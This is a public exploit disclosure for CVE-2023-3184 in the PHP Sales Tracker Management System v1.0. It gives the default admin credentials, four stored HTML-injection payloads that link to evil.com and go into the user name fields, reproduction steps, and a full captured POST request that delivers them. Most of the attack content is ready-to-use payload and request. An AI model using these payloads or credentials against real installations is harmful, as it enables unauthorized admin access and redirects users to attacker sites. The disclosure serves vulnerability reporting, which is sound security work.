Sales Tracker Management System v1.0 - Multiple Vulnerabilities

Exploit Title: Sales Tracker Management System v1.0 – Multiple Vulnerabilities 
EXPLOIT-AUTHOR: AFFAN AHMED
Vendor Homepage: <https://www.sourcecodester.com/>
Software Link: <https://www.sourcecodester.com/download-code?nid=16061&title=Sales+Tracker+Management+System+using+PHP+Free+Source+Code>
Version: 1.0
Tested on: Windows 11 + XAMPP
CVE : CVE-2023-3184

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CREDENTIAL TO USE
==============================
ADMIN-ACCOUNT
USERNAME: admin
PASSWORD: admin123

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PAYLOAD_USED
=============================
1. <a href=//evil.com>CLICK_HERE_FOR_FIRSTNAME</a>
2. <a href=//evil.com>CLICK_HERE_FOR_MIDDLENAME</a>
3. <a href=//evil.com>CLICK_HERE_FOR_LASTNAME</a>
4. <a href=//evil.com>CLICK_HERE_FOR_USERNAME</a>


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STEPS_TO_REPRODUCE
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1. FIRST LOGIN INTO YOUR ACCOUNT BY USING THE GIVEN  CREDENTIALS OF ADMIN 
2. THEN NAVIGATE TO USER_LIST AND CLCIK ON `CREATE NEW` BUTTON OR VISIT TO THIS URL:`http://localhost/php-sts/admin/?page=user/manage_user` 
3. THEN FILL UP THE DETAILS AND PUT THE ABOVE PAYLOAD IN `firstname` `middlename`  `lastname` and in `username` 
4. AFTER ENTERING THE PAYLOAD CLICK ON SAVE BUTTON
5. AFTER SAVING THE FORM YOU WILL BE REDIRECTED TO ADMIN SITE WHERE YOU CAN SEE THAT NEW USER  IS ADDED  .
6. AFTER CLICKING ON THE  EACH PAYLOAD IT REDIRECT ME TO EVIL SITE



==========================================
BURPSUITE_REQUEST
==========================================
POST /php-sts/classes/Users.php?f=save HTTP/1.1
Host: localhost
Content-Length: 1037
sec-ch-ua: 
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7hwjNQW3mptDFOwo
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/php-sts/admin/?page=user/manage_user
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=r0ejggs25qnlkf9funj44b1pbn
Connection: close

------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="id"


------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="firstname"

<a href=//evil.com>CLICK_HERE_FOR_FIRSTNAME</a>
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="middlename"

<a href=//evil.com>CLICK_HERE_FOR_MIDDLENAME</a>
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="lastname"

<a href=//evil.com>CLICK_HERE_FOR_LASTNAME</a>
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="username"

<a href=//evil.com>CLICK_HERE_FOR_USERNAME</a>
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="password"

1234
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="type"

2
------WebKitFormBoundary7hwjNQW3mptDFOwo
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary7hwjNQW3mptDFOwo--

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PROOF_OF_CONCEPT
===============================
GITHUB_LINK: https://github.com/ctflearner/Vulnerability/blob/main/Sales_Tracker_Management_System/stms.md